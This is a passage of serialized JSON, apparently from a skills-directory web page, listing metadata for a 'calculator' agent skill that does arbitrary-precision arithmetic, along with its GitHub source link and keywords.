work","token","line","sprints",{"skillNo":229,"name":230,"nameZh":6,"description":231,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":104,"licenseFileUrl":6,"sourceHtmlUrl":232,"categories":233,"keywords":234,"publishedAt":48},"01M6HBSNS3JHMW603G47TWE31H","calculator","Performs arbitrary-precision arithmetic calculations including addition, subtraction, multiplication, division, and exponents. Use when the user asks to calculate, compute, or evaluate math expressions, or when precise decimal arithmetic is needed to avoid floating-point errors.","https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002Fcopilot-cli\u002Fawesome-copilot-agents\u002Fskills\u002Fcalculator\u002FSKILL.md",[],[230,235,236,237,238,239,240,175,241,242],"npm","js","calculate","node","math","user","compute","errors"]